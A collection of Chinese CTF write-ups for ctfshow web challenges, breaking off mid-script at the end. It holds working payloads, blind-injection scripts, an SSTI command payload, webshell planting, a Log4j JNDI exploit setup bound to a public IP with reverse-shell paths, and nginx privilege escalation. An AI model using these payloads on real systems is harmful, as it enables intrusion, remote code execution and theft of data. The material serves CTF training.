if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}

从而把可控的 $_cookie ['limit'] 写入 session 文件中,再访问 /inc/inc.php 进行反序列化,成功写入文件 log-test.php

蚁剑直接连就行

# 红包题 耗子尾汁

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
    $dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
    $a = strtolower($a);
    if (!in_array($a,$dis,true)) {
        forward_static_call_array($a,$b);
    }
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";

主要的重点就是通过 forward_static_call_array 的回调函数来调用函数,但是 forward_static_call_array 仅能使用静态的函数,所以 eval,include 这类函数就没法用

两种解法

# 套娃

寻找一个没在黑名单内的回调函数,通过 forward_static_call_array 调用这个回调函数,再调用真正的恶意函数

参考 ->https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

奇特的是,黑名单内没有本身这个 forward_static_call_array,而且 register_shutdown_function 也打成了 registregister_shutdown_function,所以可以任选一个函数来打

要求回调的第二个参数时 array,所以可以构造这样一个链

forward_static_call_array->forward_static_call_array->system->'ls'

其中 forward_static_call_array 为 $a,system->'ls' 为 $b,且 $b 为 array

# 说明

forward_static_call_array(callable $callback, array $args): mixed

通过 callback 参数指定调用用户定义的函数或者方法。此函数必须在方法上下文中调用,不能在类外使用。它使用后期静态绑定。转发方法的所有参数都作为值和数组传递,类似于 call_user_func_array()

注意 forward_static_call_array () 的参数不是通过引用传递的。

有个坑点就是这个 $b 为二维数组

$ar = array(
        "system",
        array("ls")
);
=>array(2) { [0]=> string(6) "system" [1]=> array(1) { [0]=> string(2) "ls" } }

其中 array [0] 作为套娃中 forward_static_call_array 的第一个参数,指定了使用的静态函数名。array [1] 作为 forward_static_call_array 的第二个参数,作为 array 传入静态函数中

所以 payload 就是

?a=forward_static_call_array&b[]=system&b[][]=ls

# 命名空间

在 php 当中默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name () 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法。

注意访问任意全局类、函数或常量,都可以使用完全限定名称,例如 \strlen () 或 \Exception 或 \INI_ALL。

在命名空间内部访问全局类、函数和常量:

<?php
namespace Foo;
function strlen() {}
const INI_ALL = 3;
class Exception {}
$a = \strlen('hi'); // 调用全局函数 strlen
$b = \INI_ALL; // 访问全局常量 INI_ALL
$c = new \Exception('error'); // 实例化全局类 Exception
?>

先要引入一个命名空间的了解,在 php 中默认的命名空间是 \,如果不事先写,所有函数都在全局空间中使用,这就有可能造成函数名冲突

所以不难想到直接使用绝对路径调用 system 函数

?a=\system&b[]=cat flag.php

# 新年好?

js 题

app.get('/flag', function (req, res) {
    function getflag(flag) {
      res.send(flag);
    }
    let delay = 10 * 1000;
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(getflag, delay,flag);
    setTimeout(() => {
      clearTimeout(t);
      try {
        res.send('Timeout!');
      } catch (e) {
      }
    }, 1000);
});

先定义了一个 delay 变量为 10s,然后再和 req.query.delay,传入的参数 delay 取更大的数

然后用 delay 作为设置超时的函数,这一眼就是溢出,直接把 delay 往大了填

?delay=99999999999999999999

# 红包一

F12

# Log4j 复现

最难复现的一集

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 89.117.226.223 -p 8888 -l 1234

起一个 log4j exp 服务,然后用这个服务里的 Basic/TomcatEcho,在访问头里加个 cmd:ls 能直接打

Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
    ldap://127.0.0.1:1389/Basic/Command/[cmd]
    ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Basic/TomcatEcho
    ldap://127.0.0.1:1389/Basic/SpringEcho
    ldap://127.0.0.1:1389/Basic/WeblogicEcho
    ldap://127.0.0.1:1389/Basic/TomcatMemshell1
    ldap://127.0.0.1:1389/Basic/TomcatMemshell2  ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/Basic/JettyMemshell
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell1
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell2
    ldap://127.0.0.1:1389/Basic/JBossMemshell
    ldap://127.0.0.1:1389/Basic/WebsphereMemshell
    ldap://127.0.0.1:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho
    ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells
[+] TomcatBypass Queries
    ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
    ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
    ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
    ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2   ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
    ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
    ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
    ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

难复现的一 b,傻逼东西

# 给她

dirb 扫出.git 泄露,直接 githack 抓下来个 hint.php

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));

主要的问题出现在 $sql 中,使用了第二次 sprintf 操作,而且 $pass 的值相对可控

sprintf 用于把格式化的字符串写入一个变量中

而用于接收的字符格式值固定:

%% -> 返回一个百分号 %,% b -> 二进制数,% s -> 字符串

当 % 后所指定的类型是无法识别占位符类型时,sprintf 会将其置空

"this_is_%'"->sprintf 处理,由于 %' 不被识别,置空 ->"this_is_"

所以利用这个特性进行绕过 addslashes

第一次 addslashes+sprintf

$_GET['pass']=test%1$'#
$pass="and pass=test%1$\'#"

第二次 addslashes+sprintf,$pass 直接被拼接进去

$sql="select * from user where name='%s' and pass='test%1$\'#'"

就在这个时候,对 $sql 进行 sprintf 处理,%1$\ 被置空,留下来的就是

select * from user where name='%s' and pass='test'#'

成功闭合

payload

?name=1&pass=%1$' or 1=1%23

进去第二步明显发现页面不对,看一眼流量,注意到 cookie 有 file 字段,CyberChef 直接打出来是 string 转 16 进制,读 /flag 文件就行

# 签到题

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}

payload

?url=baidu.com%26%26cat%20flag%26%26

# 假赛生

就是各种利用空格

提示 register.php 和 login.php,还给了 index 源码

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;

看起来没有能 session 反序列化的地方,register 尝试注册 admin 不允许

但是在 sql 中,空格的操作还挺有意思

SELECT * FROM `admininfo` where realname = 'admin'

这个时候如果表中有名为 "admin" 的数据(带了个空格),也是能被一起查询出来的

image-20231206121034404

注册的时候传入的 "admin" 和 "admin" 又是两个不同的字符串,所以直接注册 "admin",登陆 "admin" 就行

第二步就是绕过判断

preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);

直接 fuzz

import string
import regex
fuzz = string.printable
for i in fuzz:
    if not regex.match(r"\w\W*", i):
        print(i, end = "")

打出来的结果是

!"#$%&'()*+,-./:;<=>?@[\]^`{|}~

随便传个?c=! 就行

# 萌新记忆

进去扫网出来个 /admin

sql 先试探一下,password 部分估计是 md5,没法闭合,username 单引号闭合,简单 fuzz 一下

import string
import requests
url = "http://dcf0879c-3bff-4175-817e-a3a631e1dfc0.challenge.ctf.show/admin/checklogin.php"
fuzz = string.printable
sql_payload = ["select", "union", "or", "and", "||", "&&", "from", "where", "order", "group", "by", "having", "like",
               "updatexml", "order", "exp", "floor", "rand", "extractvalue", "geometrycollection", "multipoint",
               "polygon", "multipolygon", "linestring", "multilinestring", "sleep", "length", "substr", "mid", "ascii",
               "ord", "if", "/**/", "//"]
for i in fuzz:
    re = requests.post(url, data = {"u": i, "p": "1"})
    if "我报警了" in re.text:
        print(i, end = " ")
for sqls in sql_payload:
    re = requests.post(url, data = {"u": sqls, "p": "1"})
    if "我报警了" in re.text:
        print(sqls, end = " ")
! " # % & * + - . : ; = > ? @ ] ^ _ ` { } ~ select union or and && from where order by having like order floor rand sleep mid ascii ord if /**/

那其实也没办法闭合了

可以猜测一下里边的 sql 语句

select * from admin where username = '$_POST["u"]' and '$_POST["p"]';

还有一个知识点是应该知道的,就是 在sql语句中 and级别高于or

image-20231206162545901

1=1 and password = 't' 进行运算,得到结果 1 ,然后再 where realname = 'admin' or 1 得到永真

所以这里就可以直接插一条 sub 来盲注

import string
import requests
letter = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://dcf0879c-3bff-4175-817e-a3a631e1dfc0.challenge.ctf.show/admin/checklogin.php"
for times in range(1, 20):
    for i in letter:
        payload = "'||substr(p,{},1)<'{}".format(times, i)
        re = requests.post(url, data = {"u": payload, "p": "1"})
        if re.text == "密码错误":
            print(letter[letter.find(i) - 1], end = "")
            break

密码打出来去掉两个 ZZ 登陆就行

抽象的是 payload 还不能带空格,哈哈

# 签到

一眼丁真 www.zip 泄密,

拉出来代码审计

waf_login:
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr))
waf_register:
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr))
register.php:
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e', 
username = '$u',
password = '$p'
";
user.php
if (is_numeric($username))
	{	
		if(strlen($username)>10) {
			$username=substr($username,0,10);
		}
		echo "Hello $username,there's nothing here but dog food!";
	}

可以看到要求:

  • username 部分必须是数字
  • 在注册功能的 waf 是明显少很多的

登陆成功之后,如果 username 是纯数字,则会直接输出 username 的值出来

所以可以构造 username=select (flag/**/from/**/flag),如果要让他变成纯数字并且 ascii 被 ban 的情况下,可以使用两层 hex 函数,第一步将原文转化为 16 进制,由于 16 进制含 ABCDEF,再套一层可以保证全是数字

所以要考虑如何逃逸出 username = '$u'

简单在 $e 中多拼接一个 ' ,后面跟上 payload

但是由于换行的限制,在 $e 中传入的 payload 处在同行,所以需要用 /**/ 的操作来注释多行

如果不使用 /**/,仅用 #是无法将换行后的 username 和 password 注释掉的
insert into test1
set email = '1',username/**/=/**/hex (hex (substr ((select/**/flag/**/from/**/flag),12,1))),password/**/=/**/'pass'#', 
username = 'user',
password = 'pass'
成功的打法
insert into test1
set email = '1',username/**/=/**/hex (hex (substr ((select/**/flag/**/from/**/flag),12,1))),/*', 
username = 'user*/#',
password = 'pass'

这样的打法就成功将第三行的 username 注释掉了,再使用一个 #注释后面的 '#

所以一个 poc 就是

e=1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),/*
&u=*/#
&p=pass

给出一个脚本

import re
import requests
url1 = "http://7bc05111-4ec7-4214-81c9-4e8e0c259385.challenge.ctf.show/register.php"
url2 = "http://7bc05111-4ec7-4214-81c9-4e8e0c259385.challenge.ctf.show/login.php"
flag = ""
for i in range(1, 50):
    payload = "hex(hex(substr((select/**/flag/**/from/**/flag),{},1)))".format(i)
    print(payload)
    s = requests.session()
    data1 = {
        "e": str(i) + "',username=" + payload + ",/*",
        "u": "*/#",
        "p": i
    }
    r1 = s.post(url1, data = data1)
    data2 = {
        "e": str(i),
        "p": i
    }
    r2 = s.post(url2, data = data2)
    t = r2.text
    real = re.findall("Hello (.*?),", t)[0]
    flag += real
    print(flag)

得到 flag 的双重 hex 转 string 即可

# 出题人不想跟你说话.jpg

变成提权了

进去一张图,提示 cai 和菜刀

直接蚁剑连上去,密码 cai

但是进去的用户是 www-data,需要考虑提权

hint 提示去看看什么服务

直接 cat /etc/crontab 看看有什么服务

image-20231210191207659

每分钟执行一次 /usr/sbin/logrotate -vf /etc/logrotate.d/nginx

蚁剑的终端太傻逼了,反弹个 shell 到攻击机上

已经提示是 nginx 服务 + 提权了,直接有 CVE-2016-1247

exp 搞下来执行

chmod -R 777 ./nginx.sh
./nginx.sh /var/log/nginx/error.log

等待一分钟 crontab 自动执行后提权

image-20231210191545599

# 蓝瘦

看一眼 session 一眼 flask session 伪造

image-20231210192814717

F12 给 key: ican,直接伪造

打进去提示 缺少请求参数!

首页还有个 param: ctfshow,传个值进去回显

image-20231210194113312

ssti 直接梭,0 过滤

?ctfshow={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('env').read()}}{%endif%}{%endfor%}

# 一览无余

CVE-2019-11043

特点 nginx/1.20.1

拿 phuip-fpizdam 直接打

# 登陆就有 flag

考察的点是 mysql 的隐式类型转换

当输入 '3'-'1' 时,mysql 引擎会把 '' 包含的当做数字进行减法运算

image-20240127223155075

fuzz 之后可用的特殊字符串有 !#$&'./:<>?@[]^_{}

显然,可以用 & ^ 来进行操作

select ''^''select ''&'' 的结果均为 0,而 sql 的 select 语句又有个特点,指定 where=0 时,会查询所有非数字开头的记录

所以就直接打一个 select * from flag where u=''^''# 的 payload 即可

市赛海燕那个也能这么打 '*'

# 签退

<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

eval 中可利用 ; 进行多 php 语句操作

?S=a;system('ls');

预期解是变量覆盖

?S=S=system ('cat ../flag.txt');
或者
?S=a=system ('cat ../flag.txt');

也有这种打法

?S=_POST['1']($_POST['2']);
1=system&2=ls

# 不知所措.jpg

$file must has test

必须带 test 字眼

?file=test.

打过去提示 flag not here,估计是一层文件包含

伪协议直接打

php://filter/read=convert.base64-encode/resource=test.

这里有一个 tips

# php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符( | )分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符( | )分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

在 read 和 resource 中间可以任意插入,不影响数据的读取

php://filter/read=convert.base64-encode/test/resource=test.

在这里加入 test 后不影响

所以可以通过这个来读 index

php://filter/read=convert.base64-encode/test/resource=index.

打出来确实是 include,那就直接 data 打

?file=data://text/plain,<?php system('ls');echo 'test'; ?>

# easyshell

进入让传个 username 和 password,cookie 还带了 hash,合理猜测这三个相关

md5($secret.$name)===$pass

传 username=1,password=hash,发现通过 window.location.href 自动跳转了两个页面:flflflflag.php,404.html

进 burp 一步步看,在 flflflflag 中提示了

include($_GET["file"])

既然都 include,直接 php 伪协议把源码读出来

flflflflag.php:

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

也就这里的文件包含能利用了

# 法一:

有个知识点:

PHP 可以通过 POST 或者 PUT 进行文件上传,上传的文件存在临时文件的存储目录中,在一个正常存活周期后删除

临时文件正常的存活周期

上面这张图是 PHP 在通过 POST 方法上传文件时的运行周期图,可以看到我们临时文件的存活周期就是上图红色框中的时间段。另外,如果在 php 运行的过程中,假如 php 非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果 php 正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。

根据 @王一航师傅去年的一个发现,利用 php://filter/string.strip_tags 造成崩溃。在含有文件包含漏洞的地方,使用 php://filter/string.strip_tags 导致 php 崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个 tmp file 就会一直留在 tmp 目录

经过文件扫描后还发现了个 dir.php,里面就是 var_dump 了 /tmp 的目录

那就可以猜测 tmp 目录就是 /tmp 下

给一个 python 的文件上传脚本

import requests
import io
def upload_file_to_url(url, file_content, file_name):
    file_data = io.BytesIO(file_content.encode())
    files = {'file': (file_name, file_data)}
    response = requests.post(url, files=files)
    print(response.text)
target_url = 'http://43f8f4c1-7229-4348-8c40-e5858b937637.challenge.ctf.show/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
content_to_upload = '<?php file_put_contents("shell.php","<?php phpinfo();?>")?>'
file_name_to_upload = 'test'
upload_file_to_url(target_url, content_to_upload, file_name_to_upload)

里面使用 php://filter/string.strip_tags 来造成崩溃,再访问 dir.php 即可找到该文件的名字

这个文件被包含的结果就是,创建一个 shell.php,往里面写入 <?php phpinfo();?>

include 包含之后直接访问 shell.php

# 法二:

参考:

浅谈 SESSION_UPLOAD_PROGRESS 的利用

LFI 绕过 Session 包含限制 Getshell

Session Upload Progress 最初是 PHP 为上传进度条设计的一个功能,在上传文件较大的情况下,PHP 将进行流式上传,并将进度信息放在 Session 中,此时即使用户没有初始化 Session,PHP 也会自动初始化 Session。而且,默认情况下 session.upload_progress.enabled 是为 On 的,也就是说这个特性默认开启。

思路是一样的,包含一个恶意文件,只不过这个恶意文件由 session upload 得来

# 给你 shell

F12 提示传参 ?view_source ,进去显示源码

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";
if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}
function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}
function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
die;

处理流程:如果 cookie 中设置了 secret,赋值给 $json,否则给你加上个 md5 ('y1ng') 作为 cookie

正常情况下 cookie 的 secret 为

secret=%7B%22secret%22%3A%22770F0F8B605CFD2BA494849D948D34EF%22%7D
urldecode->
secret={"secret":"770F0F8B605CFD2BA494849D948D34EF"}

进入 checkCookie 函数,要求 $json : 前为 {"secret" ,后半部分 [\"0-9A-Z]* 且以 } 结尾

往后就是 $obj 接收 $json 经过 json_decode 的内容

如果 $obj ['secret']!=$flag_md5,就进 haveFun 函数,里面就是把 flag md5 后转大写,然后每位都和 0xC0 异或

测试出来 haveFun 的输出

0006464640064064646464006406464064640064006400000000000

再试试会发现输出有规律:数字 ->0,字母 ->64

所以 flag md5 后的前三个一定是数字

利用 php 弱比较,数字和数字开头的 str 比较,str 会自动截取,让 str 转为数字再比较

secret={"secret":123} ,其中 123 会被 json_decode 解析为数字,在这里爆破得到 115

进下一步 path

<?php
error_reporting(0);
session_start();
require "hidden_filter.php";
if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');
if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        // 清空 session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}

fuzz 一通被 ban 了 ``fF"$'()*+/;^|`

直接 php 短标签提前闭合,造成

eval("\$_SESSION[1]?><?=?>]=false;");

接下来要考虑怎么样在新开的标签里读到 flag.txt,而且 F,f 都被 ban 了,括号也 ban 了,基本调用不到函数

可以用 require 来包含 (include 被 ban),加上个~取反来绕过

echo urlencode(~"/flag.txt")->%d0%99%93%9e%98%d1%8b%87%8b
echo urlencode(~"/flag")->%d0%99%93%9e%98
1]?><?=require~%d0%99%93%9e%98?>

# RemoteImageDownloader

一眼过去觉得是 php+curl,想着 file 协议直接拿下了

但是测试了发现并不是 php,起一个 HTTP HEARDER ECHO 服务看看 UA 头得到后端的请求

#!/usr/bin/env python
try:
    from http.server import HTTPServer, BaseHTTPRequestHandler
except:
    from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
import json
class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        request_path = self.path
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        json_string = json.dumps(dict(self.headers))
        self.wfile.write(json_string.encode('utf-8'))
        print('%sBegin of Headers%s' % ('-' * 5, '-' * 5))
        for k, v in self.headers.items():
            print('%s: %s' % (k, v))
        print('%sEnd of Headers%s' % ('-' * 5, '-' * 5))
        return None
    do_POST   = do_GET
    do_PUT    = do_GET
    do_DELETE = do_GET
def main():
    port = 8080
    print('Listening on all interfaces:%s' % port)
    server = HTTPServer(('', port), RequestHandler)
    server.serve_forever()
if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = ("Creates an HTTP-header-echo-server.")
    (options, args) = parser.parse_args()
    main()

image-20240204231410411

PhantomJS2.1.1 有 CVE-2019-17221

<!doctype html>
<html lang="en">
  <head>
    <title>test</title>
    <style>body { background: white; }</style>
  </head>
  <body>
    <script>
      var xhr = new XMLHttpRequest();
      xhr.onload = function () {
        document.body.innerText = xhr.responseText;
      };
      xhr.open('GET', 'file:///flag');
      xhr.send();
    </script>
  </body>
</html>

让服务器访问这个就行

# ALL_INFO_U_WANT

很流畅的一道题

扫出 index.php.bak

visit all_info_u_want.php and you will get all information you want
= =Thinking that it may be difficult, i decided to show you the source code:
<?php
error_reporting(0);
//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}
if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}
?>
really really really baby challenge right?

include 日志包含就行

但是 real flag 不在根目录,要在蚁剑 shell 找一下

find /etc -name '*' | xargs grep "{"
或者
find /etc | xargs grep "{"

(只能用单引号,其他都报错 难绷

# WUSTCT_朴实无华_Revenge

进去就是经典闯关,先给一个判断回文的函数

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

level1

if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { // 在 64 位系统中 intval () 的上限不是 2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

就是传入 num,经过 intval 和反向再 intval 后相等,且原始 num 不是回文

限定 0-9.-

intval 是转 int 的一个函数,会将浮点取整,字符取开头数字

有了提示的.- 很容易想到一个 payload

?num=1.10
intval->1;strrev->01.1->intval->1; 非回文

level2

if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

双重 md5 之后相等,明显要求 md5 绕过,找到两次 md5 之后都是 0e 开头即可

0e 开头弱比较会认为是科学计数法,0 的 n 次方等于 0 的 m 次方

import hashlib
def md5_hash(s):
    return hashlib.md5(s.encode()).hexdigest()
for i in range(1000000000001):
    original_str = "0e" + str(i)
    
    first_hash = md5_hash(original_str)
    second_hash = md5_hash(first_hash)
    
    if second_hash.startswith("0e") and second_hash[2:].isdigit():
        print(original_str)
        break
?md5=0e3900184182

level3

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

最简单的一集,不能有空格,不能有上面的关键词

ctf 里读取文件相关知识点总结

空格可以用 <或者制表符 (Tab) 代替,读取直接 nl

?get_flag=nl</flag
?get_flag=nl	/flag

# Login_Only_For_36D

F12 提示

image-20240206210743134

name 参数里必须带 admin,fuzz 之后被 ban 了挺多

['&', "'", '-', ';', '<', '=', '>', '|', ' ', 'select', 'union', 'updatexml', 'floor', 'rand', 'substr', 'mid', 'ascii', 'and', '||', '&&']

可以利用 / ,将 admin 后面的 ' 注释掉,达到这样的效果

name=1\&pass=test
->
select * from 36d_user where username='1\' and password='test';

传入数据库查询的 username 即为 1\' and password= ,由于无回显,盲注即可

import requests
url = "http://9420c6ec-8845-43b4-b94f-e1aa0543c453.challenge.ctf.show/index.php"
username = "admin\\"
alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
